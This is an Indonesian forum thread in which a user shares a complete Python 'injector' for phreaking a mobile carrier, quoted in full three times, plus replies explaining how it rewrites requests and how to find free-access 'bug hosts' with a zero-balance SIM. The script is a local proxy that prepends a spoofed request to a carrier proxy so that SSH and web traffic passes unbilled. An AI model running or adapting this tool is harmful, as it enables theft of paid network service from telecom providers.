[Share] saus untuk phreaking provider luna maya
#1
Code:
#!/usr/bin/python
#sumber : obatphreaker.org

import socket, thread, select
import sys

__version__ = '3.0.0 Beta'
__author__ = 'OBAT PHREAKER'

LISTEN_PORT_INJECT = 9050
PROXY_OPSEL = ('202.152.240.50',8080)
DATA_INJECT = 'DELETE http://bola.okezone.com/ HTTP/1.1\rHost: bola.okezone.com\r\r'

class Injector:
    BUFLEN = 8192
    #Berguna untuk menangkal iklan pada polosan
    MSG = 'HTTP/1.1 200 OK\r\n\r\n<HTML><BODY><H1>IKLAN!!</H1></BODY></HTML>'

    ids = []
    lock = thread.allocate_lock()

    def __init__(self, connection, address):
        self.sockLokal = connection
        self.sockProxy = None
        self.client = address

        #memberikan id pada thread
        Injector.lock.acquire()
        for i in range(1,len(Injector.ids)+2):
            if i not in Injector.ids:
                Injector.ids.append(i)
                self.id = i
                break
        Injector.lock.release()

        print '[%2d] Menerima koneksi dari %s:%d'  % ((self.id,)+address)
        self.dataLokal = self.sockLokal.recv(Injector.BUFLEN)
        if self.dataLokal:
            #menyaring iklan (polosan)
            if self._lulus_sensor(self.dataLokal):
                self._connect_proxy()

    def __del__(self):
        print '[%2d] Sambungan untuk klien diputus di %s:%d' % ((self.id,)+self.client)
        self.sockLokal.close()
        if self.sockProxy:
            self.sockProxy.close()

        #menghapus id yang sudah musnah pada threads
        Injector.lock.acquire()
        Injector.ids.remove(self.id)
        Injector.lock.release()

    def _connect_proxy(self):
        self.sockProxy = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            print '[%2d] Menghubungi %s:%d' % ((self.id,)+PROXY_OPSEL)
            self.sockProxy.connect(PROXY_OPSEL)
        except socket.error as psn:
            print '[%2d] Error: tidak dapat menghubungi proxy opsel\n>>> %s' % (self.id,psn)
        else:
            print '[%2d] Mengirim DATA_INJECT' % self.id
            self.sockProxy.send(DATA_INJECT)
            #apa bila dimulai dengan 'CONNECT' dan terdapat 'HTTP/1.0', diasumsikan user lagi pengen login ssh
            if 'HTTP/1.0' in self.dataLokal.splitlines()[0] and self.dataLokal.startswith('CONNECT'):
                self.sockProxy.send(self.dataLokal.replace('\r\n','\r')+'\r') #XL DropBear
            else:
                self.sockProxy.send(self.dataLokal.replace('\r\n','\r'))
            self._tampilkan_data(self.dataLokal)
            self._read_write()

    def _read_write(self):
        socs = [self.sockLokal,self.sockProxy]
        cek = False #apakah sudah menerima respon DATA_INJECT
        terima = True #apakah masih ada data yang harus diterima
        while terima:
            (recv, _, error) = select.select(socs, [], socs, 2)
            if error:
                break
            if recv:
                for in_ in recv:
                    out = None
                    data = in_.recv(Injector.BUFLEN)
                    if data:
                        if in_ is self.sockLokal: #sockLokal menerima data
                            if self._lulus_sensor(data):
                                out = self.sockProxy
                                if self._is_http_req(data):
                                    self._tampilkan_data(data)
                                    data.replace('\r\n','\r')
                        else: #sockProxy menerima data
                            if cek == False:
                                cek = True
                                print '[%2d] Menerima respon DATA_INJECT' % self.id
                            else:
                                out = self.sockLokal
                            self._tampilkan_data(data)
                    else: #sudah tidak ada data yang diterima
                        terima = False
                    if out:
                        out.send(data)

    def _tampilkan_data(self,data):
        if 'HTTP' in data.splitlines()[0]:
            print '%d> %s' % (self.id,data.splitlines()[0])

    def _lulus_sensor(self,data):
        saringan = (
            'google.com/safebrowsing/',
            'kliksaya.com',
            'sharethis.com',
            'innity.com',
            'popads.net',
            'adstars.co.id',
            'adplus.co.id'
        )
        kepala = data.splitlines()[0] #baris pertama request
        for i in saringan:
            if i in kepala:
                self.sockLokal.send(Injector.MSG)
                print '%2d> diblok> %s' % (self.id,kepala)
                return False
        return True

    def _is_http_req(self,data):
        kepala = data.splitlines()[0]
        for i in ('OPTIONS','GET','HEAD','POST','PUT','DELETE','TRACE'):
            if i in kepala:
                return True
        return False

def start_injector(port=LISTEN_PORT_INJECT,handler=Injector):
    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.bind(('',port))
    soc.listen(0)
    print 'Injector listening di port %d' % port
    while True:
        thread.start_new_thread(handler, soc.accept())

if __name__ == '__main__':
    print 'This injector not for SALE'
    print 'Injector by %s' % __author__
    print '='*80
    start_injector()

tinggal di uwik2 aje nih sources, maaf ane gak biasa maen di python soalnye

#2
makasih om udh share Big Grin
btw request yang java / vb.net ada om?
Jangan Makan Tulang Kawan | Kurawa |

#3
(02-26-2014, 02:50 PM)blackshadow Wrote: #!/usr/bin/python
#sumber : obatphreaker.org

import socket, thread, select
import sys

__version__ = '3.0.0 Beta'
__author__ = 'OBAT PHREAKER'

LISTEN_PORT_INJECT = 9050
PROXY_OPSEL = ('202.152.240.50',8080)
DATA_INJECT = 'DELETE / HTTP/1.1\rHost: bola.okezone.com\r\r'

class Injector:
BUFLEN = 8192
#Berguna untuk menangkal iklan pada polosan
MSG = 'HTTP/1.1 200 OK\r\n\r\n<HTML><BODY><H1>IKLAN!!</H1></BODY></HTML>'

ids = []
lock = thread.allocate_lock()

def __init__(self, connection, address):
self.sockLokal = connection
self.sockProxy = None
self.client = address

#memberikan id pada thread
Injector.lock.acquire()
for i in range(1,len(Injector.ids)+2):
if i not in Injector.ids:
Injector.ids.append(i)
self.id = i
break
Injector.lock.release()

print '[%2d] Menerima koneksi dari %s:%d' % ((self.id,)+address)
self.dataLokal = self.sockLokal.recv(Injector.BUFLEN)
if self.dataLokal:
#menyaring iklan (polosan)
if self._lulus_sensor(self.dataLokal):
self._connect_proxy()

def __del__(self):
print '[%2d] Sambungan untuk klien diputus di %s:%d' % ((self.id,)+self.client)
self.sockLokal.close()
if self.sockProxy:
self.sockProxy.close()

#menghapus id yang sudah musnah pada threads
Injector.lock.acquire()
Injector.ids.remove(self.id)
Injector.lock.release()

def _connect_proxy(self):
self.sockProxy = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print '[%2d] Menghubungi %s:%d' % ((self.id,)+PROXY_OPSEL)
self.sockProxy.connect(PROXY_OPSEL)
except socket.error as psn:
print '[%2d] Error: tidak dapat menghubungi proxy opsel\n>>> %s' % (self.id,psn)
else:
print '[%2d] Mengirim DATA_INJECT' % self.id
self.sockProxy.send(DATA_INJECT)
#apa bila dimulai dengan 'CONNECT' dan terdapat 'HTTP/1.0', diasumsikan user lagi pengen login ssh
if 'HTTP/1.0' in self.dataLokal.splitlines()[0] and self.dataLokal.startswith('CONNECT'):
self.sockProxy.send(self.dataLokal.replace('\r\n','\r')+'\r') #XL DropBear
else:
self.sockProxy.send(self.dataLokal.replace('\r\n','\r'))
self._tampilkan_data(self.dataLokal)
self._read_write()

def _read_write(self):
socs = [self.sockLokal,self.sockProxy]
cek = False #apakah sudah menerima respon DATA_INJECT
terima = True #apakah masih ada data yang harus diterima
while terima:
(recv, _, error) = select.select(socs, [], socs, 2)
if error:
break
if recv:
for in_ in recv:
out = None
data = in_.recv(Injector.BUFLEN)
if data:
if in_ is self.sockLokal: #sockLokal menerima data
if self._lulus_sensor(data):
out = self.sockProxy
if self._is_http_req(data):
self._tampilkan_data(data)
data.replace('\r\n','\r')
else: #sockProxy menerima data
if cek == False:
cek = True
print '[%2d] Menerima respon DATA_INJECT' % self.id
else:
out = self.sockLokal
self._tampilkan_data(data)
else: #sudah tidak ada data yang diterima
terima = False
if out:
out.send(data)

def _tampilkan_data(self,data):
if 'HTTP' in data.splitlines()[0]:
print '%d> %s' % (self.id,data.splitlines()[0])

def _lulus_sensor(self,data):
saringan = (
'google.com/safebrowsing/',
'kliksaya.com',
'sharethis.com',
'innity.com',
'popads.net',
'adstars.co.id',
'adplus.co.id'
)
kepala = data.splitlines()[0] #baris pertama request
for i in saringan:
if i in kepala:
self.sockLokal.send(Injector.MSG)
print '%2d> diblok> %s' % (self.id,kepala)
return False
return True

def _is_http_req(self,data):
kepala = data.splitlines()[0]
for i in ('OPTIONS','GET','HEAD','POST','PUT','DELETE','TRACE'):
if i in kepala:
return True
return False

def start_injector(port=LISTEN_PORT_INJECT,handler=Injector):
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.bind(('',port))
soc.listen(0)
print 'Injector listening di port %d' % port
while True:
thread.start_new_thread(handler, soc.accept())

if __name__ == '__main__':
print 'This injector not for SALE'
print 'Injector by %s' % __author__
print '='*80
start_injector()

tinggal di uwik2 aje nih sources, maaf ane gak biasa maen di python soalnye

Maaf sebelumnya, yang d atas kode untuk apa ya? mohon penelasan rinci... maklum msh gaptek..
thanks..Wink

#4
(03-01-2014, 10:31 AM)oyster Wrote:
(02-26-2014, 02:50 PM)blackshadow Wrote: #!/usr/bin/python
#sumber : obatphreaker.org

import socket, thread, select
import sys

__version__ = '3.0.0 Beta'
__author__ = 'OBAT PHREAKER'

LISTEN_PORT_INJECT = 9050
PROXY_OPSEL = ('202.152.240.50',8080)
DATA_INJECT = 'DELETE / HTTP/1.1\rHost: bola.okezone.com\r\r'

class Injector:
BUFLEN = 8192
#Berguna untuk menangkal iklan pada polosan
MSG = 'HTTP/1.1 200 OK\r\n\r\n<HTML><BODY><H1>IKLAN!!</H1></BODY></HTML>'

ids = []
lock = thread.allocate_lock()

def __init__(self, connection, address):
self.sockLokal = connection
self.sockProxy = None
self.client = address

#memberikan id pada thread
Injector.lock.acquire()
for i in range(1,len(Injector.ids)+2):
if i not in Injector.ids:
Injector.ids.append(i)
self.id = i
break
Injector.lock.release()

print '[%2d] Menerima koneksi dari %s:%d' % ((self.id,)+address)
self.dataLokal = self.sockLokal.recv(Injector.BUFLEN)
if self.dataLokal:
#menyaring iklan (polosan)
if self._lulus_sensor(self.dataLokal):
self._connect_proxy()

def __del__(self):
print '[%2d] Sambungan untuk klien diputus di %s:%d' % ((self.id,)+self.client)
self.sockLokal.close()
if self.sockProxy:
self.sockProxy.close()

#menghapus id yang sudah musnah pada threads
Injector.lock.acquire()
Injector.ids.remove(self.id)
Injector.lock.release()

def _connect_proxy(self):
self.sockProxy = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print '[%2d] Menghubungi %s:%d' % ((self.id,)+PROXY_OPSEL)
self.sockProxy.connect(PROXY_OPSEL)
except socket.error as psn:
print '[%2d] Error: tidak dapat menghubungi proxy opsel\n>>> %s' % (self.id,psn)
else:
print '[%2d] Mengirim DATA_INJECT' % self.id
self.sockProxy.send(DATA_INJECT)
#apa bila dimulai dengan 'CONNECT' dan terdapat 'HTTP/1.0', diasumsikan user lagi pengen login ssh
if 'HTTP/1.0' in self.dataLokal.splitlines()[0] and self.dataLokal.startswith('CONNECT'):
self.sockProxy.send(self.dataLokal.replace('\r\n','\r')+'\r') #XL DropBear
else:
self.sockProxy.send(self.dataLokal.replace('\r\n','\r'))
self._tampilkan_data(self.dataLokal)
self._read_write()

def _read_write(self):
socs = [self.sockLokal,self.sockProxy]
cek = False #apakah sudah menerima respon DATA_INJECT
terima = True #apakah masih ada data yang harus diterima
while terima:
(recv, _, error) = select.select(socs, [], socs, 2)
if error:
break
if recv:
for in_ in recv:
out = None
data = in_.recv(Injector.BUFLEN)
if data:
if in_ is self.sockLokal: #sockLokal menerima data
if self._lulus_sensor(data):
out = self.sockProxy
if self._is_http_req(data):
self._tampilkan_data(data)
data.replace('\r\n','\r')
else: #sockProxy menerima data
if cek == False:
cek = True
print '[%2d] Menerima respon DATA_INJECT' % self.id
else:
out = self.sockLokal
self._tampilkan_data(data)
else: #sudah tidak ada data yang diterima
terima = False
if out:
out.send(data)

def _tampilkan_data(self,data):
if 'HTTP' in data.splitlines()[0]:
print '%d> %s' % (self.id,data.splitlines()[0])

def _lulus_sensor(self,data):
saringan = (
'google.com/safebrowsing/',
'kliksaya.com',
'sharethis.com',
'innity.com',
'popads.net',
'adstars.co.id',
'adplus.co.id'
)
kepala = data.splitlines()[0] #baris pertama request
for i in saringan:
if i in kepala:
self.sockLokal.send(Injector.MSG)
print '%2d> diblok> %s' % (self.id,kepala)
return False
return True

def _is_http_req(self,data):
kepala = data.splitlines()[0]
for i in ('OPTIONS','GET','HEAD','POST','PUT','DELETE','TRACE'):
if i in kepala:
return True
return False

def start_injector(port=LISTEN_PORT_INJECT,handler=Injector):
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.bind(('',port))
soc.listen(0)
print 'Injector listening di port %d' % port
while True:
thread.start_new_thread(handler, soc.accept())

if __name__ == '__main__':
print 'This injector not for SALE'
print 'Injector by %s' % __author__
print '='*80
start_injector()

tinggal di uwik2 aje nih sources, maaf ane gak biasa maen di python soalnye

Maaf sebelumnya, yang d atas kode untuk apa ya? mohon penelasan rinci... maklum msh gaptek..
thanks..Wink

nih source code python buat injek proxy, dengan memodifikasi request header dan mereplace respon dari server
ane hanya ngeshare um :p
slebihnya tinggal di uwik2 aje, soalnya ane gak paham bahasa python :p

(02-28-2014, 10:10 PM)DoctoroL Wrote: makasih om udh share Big Grin
btw request yang java / vb.net ada om?

vb net gak ada um :d
soalnya gak biasa maen di vb

klo buat java ada, tpi blon fix sih, ntar ane share lagi >Big Grin<

#5
oke oke om, ane tunggu Big Grin .
ane coba yg om share dulu , thx om ..
Jangan Makan Tulang Kawan | Kurawa |

#6
bisa jelasin konsep aliran datanya ngga bro? injeknya gmn diapain, headernya di modif gmn gt? pengen bgt pelajarin

#7
(03-09-2014, 02:52 PM)alkaaf Wrote: bisa jelasin konsep aliran datanya ngga bro? injeknya gmn diapain, headernya di modif gmn gt? pengen bgt pelajarin

sbenarnya ne gak paham betul om Smile
tapi menurut ane smua aplikasi yang berbasiskan jaringan mengacu kepada socket
jadi di injek itu gini, ada untuk client dan untuk server
untuk client socketnya berfungsi sebagai pengatar kejaringan luar, dan untuk server socketnya berfungsi untuk menghandle koneksi dari app(entah itu ssh ato apa lah)
jadi inti dari applikasi ini yaitu merubah request dari app ke proxy dengan menggunakan string perubah (kalo di java sih namanya StringBuilder) dan membaca balasan dari server yaitu dengan mengubah string respons Smile
kalu nga salah sih gitu
soalnya ane juga masih pengguna baru om Big Grin

(03-09-2014, 02:23 PM)DoctoroL Wrote: oke oke om, ane tunggu Big Grin .
ane coba yg om share dulu , thx om ..

ane dah share yang java um, tinggal di uwik2 aje
ntar kalo ada yng mw di tanyain lewat PM aje
soalnya lagi marak di luar um, takutnya ada yang ngintip coid lagi triknya =))

#8
(03-10-2014, 03:14 AM)blackshadow Wrote:
(03-09-2014, 02:52 PM)alkaaf Wrote: bisa jelasin konsep aliran datanya ngga bro? injeknya gmn diapain, headernya di modif gmn gt? pengen bgt pelajarin

sbenarnya ne gak paham betul om Smile
tapi menurut ane smua aplikasi yang berbasiskan jaringan mengacu kepada socket
jadi di injek itu gini, ada untuk client dan untuk server
untuk client socketnya berfungsi sebagai pengatar kejaringan luar, dan untuk server socketnya berfungsi untuk menghandle koneksi dari app(entah itu ssh ato apa lah)
jadi inti dari applikasi ini yaitu merubah request dari app ke proxy dengan menggunakan string perubah (kalo di java sih namanya StringBuilder) dan membaca balasan dari server yaitu dengan mengubah string respons Smile
kalu nga salah sih gitu
soalnya ane juga masih pengguna baru om Big Grin

(03-09-2014, 02:23 PM)DoctoroL Wrote: oke oke om, ane tunggu Big Grin .
ane coba yg om share dulu , thx om ..

ane dah share yang java um, tinggal di uwik2 aje
ntar kalo ada yng mw di tanyain lewat PM aje
soalnya lagi marak di luar um, takutnya ada yang ngintip coid lagi triknya =))

nice bro, berarti semua request kita diarahin ke proxy provider masing2.

kalo boleh ane minta tolong kasi contoh request yang udah diinject yang work Big Grin screenshot gpp.

#9
boleh tny ga om
kalo ngecek bug host nya pake apaan om.?

#10
(03-10-2014, 08:45 AM)ANto Van De Vard Wrote: boleh tny ga om
kalo ngecek bug host nya pake apaan om.?

bug host biasanya tuh alamat yang bisa dibuka gratis ama providernya.

biasanya ane ngetes pake kartu pulsa 0 terus internetan. kalo hoki biasanya akan di redirect ke halaman resmi provider berisi pemberitahuan kalo ngga bisa internetan karena pulsa abis (misal punya semar). nah tuh termasuk bug juga.






Users browsing this thread: 1 Guest(s)